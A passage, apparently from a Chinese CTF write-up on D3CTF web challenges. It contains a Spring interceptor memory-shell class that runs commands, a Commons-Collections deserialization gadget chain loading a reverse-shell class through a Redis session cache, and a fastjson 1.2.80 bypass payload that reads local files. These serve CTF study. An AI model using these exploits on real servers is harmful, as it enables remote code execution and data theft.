kZWxBbmRWaWV3OylWAQAMbW9kZWxBbmRWaWV3AQAuTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAOoBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABVtYXBwaW5nSGFuZGxlck1hcHBpbmcBAFRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZzsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABFhZGFwdEludGVyY2VwdG9ycwEAEExqYXZhL3V0aWwvTGlzdDsBAA9ldmlsSW50ZXJjZXB0b3IBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQBGTGphdmEvdXRpbC9MaXN0PExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcjs+OwcA0QcA0gcA6wcA2AcA3QcA3gEAClNvdXJjZUZpbGUBAA5NZW1zaGVsbDIuamF2YQwAQwBEAQAAAQAJXHMqfAl8DXwKBwDsDADtAO4MAO8A8AcA8QwA8gBLBwDzDAD0APUBAAljYXQgL2ZsYWcMAPYA9wcA+AwA+QD6AQARamF2YS91dGlsL1NjYW5uZXIMAEMA+wEAAlxBDAD8AP0MAP4A/wwBAAEBBwECDAEDAQQHAQUMAQYBBwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAZeyJjb2RlIjoiMjAwIiwibWVzc2FnZSI6IgwBCAEJBwEKDAELAQ4HAOQMAQ8BEAcBEQwBEgETAQACIn0MARQBAQcA5gwBFQEBAQAHL3N0YXR1cwwBFgEXDABDAQcBAAxDb250ZW50LVR5cGUBAB5hcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9VVRGLTgHAOcMARgBGQwBGgEbBwEcDAEdAQcMAR4ARAwBHwBEDABBAEIMAG0AbgwAcQByAQAGc3RhYXJ0BwEgDAEhASIBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHASMMASQBJQEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwBJgEnAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwEoDAEpASoBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MASsARAcA6wwBLAEtDAEuAS8BAA5qYXZhL3V0aWwvTGlzdAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAVb3JnL2V4YW1wbGUvTWVtc2hlbGwyDAEwARcBAAJvawEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAF2phdmEvdXRpbC9yZWdleC9QYXR0ZXJuAQAHY29tcGlsZQEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9yZWdleC9QYXR0ZXJuOwEAB21hdGNoZXIBADMoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL3V0aWwvcmVnZXgvTWF0Y2hlcjsBABdqYXZhL3V0aWwvcmVnZXgvTWF0Y2hlcgEACnJlcGxhY2VBbGwBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAh0b1N0cmluZwEADWdldFJlcXVlc3RVUkkBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlhZGRIZWFkZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWZsdXNoAQAFY2xvc2UBADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJ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\"}";

}else {
code = "{\"code\":\"200\",\"message\":\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABdAApb3JnLmpib3NzLnByb3h5LmVqYi5oYW5kbGUuSG9tZUhhbmRsZUltcGx4\"}";;

}
if (request.getRequestURI().equals("/blacklist/jdk/get")) {
String result = new Scanner(code).useDelimiter("\\A").next();
response.addHeader("Content-Type","application/json;charset=UTF-8");
response.getWriter().write(result);
response.getWriter().flush();
response.getWriter().close();
nums++;
return false;
}

return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}

}

上面code里有2个base64字段,第一个就是原生的fastjson链打内存马,第二个就是第一次访问设置的没用的arraylist用于滞空的。第一次访问时就会滞空,第二次访问内存马
内存马2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Memshell2 extends AbstractTranslet implements HandlerInterceptor {

public static int nums = 1;
static {
System.out.println("staart");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Memshell2 evilInterceptor = new Memshell2();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}
public static String replaceBlank(String str) {

String dest = "";

if (str != null) {

Pattern p = Pattern.compile("\\s*|\t|\r|\n");

Matcher m = p.matcher(str);

dest = m.replaceAll("");

}

return dest;

}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

String code;

// if(nums == 1){
// Runtime.getRuntime().exec("grep -rn --exclude-dir={proc,sys} flag{* / > /tmp/1.txt");
// }
InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";


System.out.println(output);


code = "{\"code\":\"200\",\"message\":\""+ Base64.getEncoder().encodeToString(output.getBytes())+"\"}";

if (request.getRequestURI().equals("/status")) {
String result = new Scanner(code).useDelimiter("\\A").next();

response.addHeader("Content-Type","application/json;charset=UTF-8");
response.getWriter().write(result);
response.getWriter().flush();
response.getWriter().close();
nums++;
return false;
}

return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

我们只需打入:
image.png
image.png
然后访问2次/client/status即可获取flag!

d3icu

知识点:tomcat-redis-session-manager反序列化。
究极套娃题,下午来复习。
复现完毕,首先我们先审个题吧,题目一共会给3个URL,分别对应3个服务
bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const puppeteer = require("puppeteer")
const express = require("express")


const app = express()

app.get("/screenshot", (req, res) => {
(async function () {

try {
const browser = await puppeteer.launch({
headless: true,
timeout: 60000,
args: ['--no-sandbox']
})
const page = await browser.newPage()
await page.setViewport({ width: 1920, height: 1080 })
await page.goto('http://127.0.0.1/demo/inedx.jsp', { waitUntil: 'networkidle0' })
const buffer = await page.screenshot({
encoding: "binary",
type: "png"
})
res.set("Content-Type", "image/png")
res.send(buffer)
} catch(err) {
res.status(500).send(err.toString())
}
})()
})

app.listen(8090)

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main

import (
"fmt"
"hash/crc32"
"io"
"io/fs"
"net/http"
"os"
"time"

"github.com/flamego/flamego"
"github.com/go-redis/redis/v8"
"org.d3ctf.app/static"
)

func crc32Hash(str string) string {
return fmt.Sprint(crc32.ChecksumIEEE([]byte(str)))
}

func main() {

f := flamego.Classic()
f.Map(
Cache{
client: redis.NewClient(&redis.Options{
Addr: os.ExpandEnv("127.0.0.1:6379"),
}),
},
)
staticFS, _ := fs.Sub(static.FS, "dist")
f.Use(flamego.Static(flamego.StaticOptions{
FileSystem: http.FS(staticFS),
}))
f.Get("/fetch", func(ctx flamego.Context, cache Cache, r *http.Request, rw http.ResponseWriter) {
url := ctx.Query("url")
cacheKey := crc32Hash(url)
fmt.Println(cacheKey)
if buf, err := cache.Get(r.Context(), cacheKey); err == nil {
ctx.ResponseWriter().Write(buf)
return
}
resp, _ := http.Get(url)
buf, _ := io.ReadAll(resp.Body)
cache.Set(r.Context(), cacheKey, buf, time.Minute*10)
rw.Write(buf)
})
f.Run()
}

tomcat服务
image.png
三个服务对应3个URL,首先看go吧,这其实就是一个简单的redis缓存服务,会将一个键值对储存进Redis服务器,然后注意tomcat服务器,它里面用到了一个依赖(圈起来了)
redis-session-manager这个依赖,而这个依赖是如何运作的呢?它会从redis去除键名为JSESSION的值,然后反序列化它,对应tomcat.request.session.redis.SessionManager#findSession方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public Session findSession(String sessionId) throws IOException {
if (sessionId != null && this.sessionContext.get() != null && sessionId.equals(((SessionContext)this.sessionContext.get()).getId())) {
return ((SessionContext)this.sessionContext.get()).getSession();
} else {
Session session = null;
boolean isPersisted = false;
SessionMetadata metadata = null;
byte[] data = this.dataCache.get(sessionId);
if (data == null) {
sessionId = null;
isPersisted = false;
} else {
if (Arrays.equals(SessionConstants.NULL_SESSION, data)) {
throw new IOException("NULL session data");
}

try {
metadata = new SessionMetadata();
Session newSession = this.createEmptySession();
//反序列化session
this.serializer.deserializeSessionData(data, newSession, metadata);
newSession.setId(sessionId);
newSession.access();
newSession.setNew(false);
newSession.setValid(true);
newSession.resetDirtyTracking();
newSession.setMaxInactiveInterval(this.getSessionTimeout(newSession));
session = newSession;
isPersisted = true;
} catch (Exception var7) {
LOGGER.error("Error occurred while de-serializing the session object..", var7);
}
}

this.setValues(sessionId, session, isPersisted, metadata);
return session;
}
}

调用了deserializeSessionData去反序列化,而里面又调用了readObject:
image.png
并且题目中的pom文件是给了CC依赖的,因此不难联想到往redis缓存投入一个恶意binary数据,然后通过这个去反序列化从而RCE。
然后再审一下go源码,go源码做的事情就是访问一个URL,然后通过crc32Hash方法去计算这个URL的CRC,并且作为键名储存进redis,键值为访问返回的数据
image.png
大概是这样子的一个服务,那么思路也就很清晰,先让go去缓存一下我们的恶意文件,获取序列化数据储存进redis,我们本地起一个题目源码去获取crc数据,然后把JSESSIONID改为crc的值,那么当我们去发包时,就会反序列化触发rce。接下来给出具体步骤
我们的payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package org.d3ctf.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class c= TemplatesImpl.class;
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Boogipop");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\22927\\Downloads\\d3icu-src\\src\\demo\\target\\classes\\org\\d3ctf\\demo\\ReverseShell.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//由于还没进行反序列化,所以手动给_tfactory赋值
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//CC1后半
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(hashMap);
//unserialize("ser.bin");
String res=encryptToBase64("ser.bin");
System.out.println(res);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
public static String encryptToBase64(String filePath) {
if (filePath == null) {
return null;
}
try {
byte[] b = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(b);
} catch (IOException e) {
e.printStackTrace();
}

return null;
}
}

使用的是cc3这条链,然后恶意class里是反弹shell,我们获取ser.bin并且放入我们的VPS上。
之后我们本地起一个题目中的go服务,访问一下这个ser.bin:
image.png
然后输出了一段crc
image.png
我们抓个包。把JESSIONID改为CRC。
image.png
image.png
我们已经getshell了,然后可以看到当前目录是解压了war包的,并且经过测试得知实现了热部署:
image.png
那么我们可以修改index.jsp然后pwn一下浏览器,pwn浏览器参考:
https://github.com/77409/chrome-0day/blob/main/exploit.html
官方wp就是这么说的,这个浏览器有这个cve,其实到这里完全没必要我觉得,在套一层。
到这就结束了,改文件部分就是删了再下就行。

d3forest

知识点:FastJson1.2.80的一种绕过方式?
直接上一下EXP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
[{
"1ue": {
"@type": "java.lang.Exception",
"@type": "com.d3ctf.exceptions.ForestRespException"
}
},
{
"2ue": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "com.d3ctf.exceptions.ForestRespException",
"response": ""
}
}
},
{
"3ue": {
"@type": "com.dtflys.forest.http.ForestResponse",
"@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
"entity": {
"@type": "org.apache.http.entity.AbstractHttpEntity",
"@type": "org.apache.http.entity.InputStreamEntity",
"inStream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
${exp}
]
}
]
}
}
}
},
{
"4ue": {
"$ref": "$[2].3ue.entity.inStream"
}
},
{
"5ue": {
"$ref": "$[3].4ue.bOM.bytes"
}
},
{
"6ue": {
"@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
"entity": {
"@type": "org.apache.http.entity.InputStreamEntity",
"inStream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"
{
"$ref": "$[4].5ue"
},
"start"
:
0,
"end"
:
0
},
"charsetName"
:
"UTF-8",
"bufferSize"
:
1024
},
"boms"
:
[
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
1
]
}
]
}
}

}
}
]

这个payload就是基于之前1.2.80盲注读文件实现的。其实感觉比较鸡肋,这里简单说一下原理,首先Exception只是为了让他假如缓存躲避黑名单,然后一部分没有闭合的json也是为了绕过,其中$[x]表示第x个对象
具体分析可以查看:
这里有一些原理说明,这里就说一下如何取复现吧,我们只需要在vps起一个web服务就好
大致逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
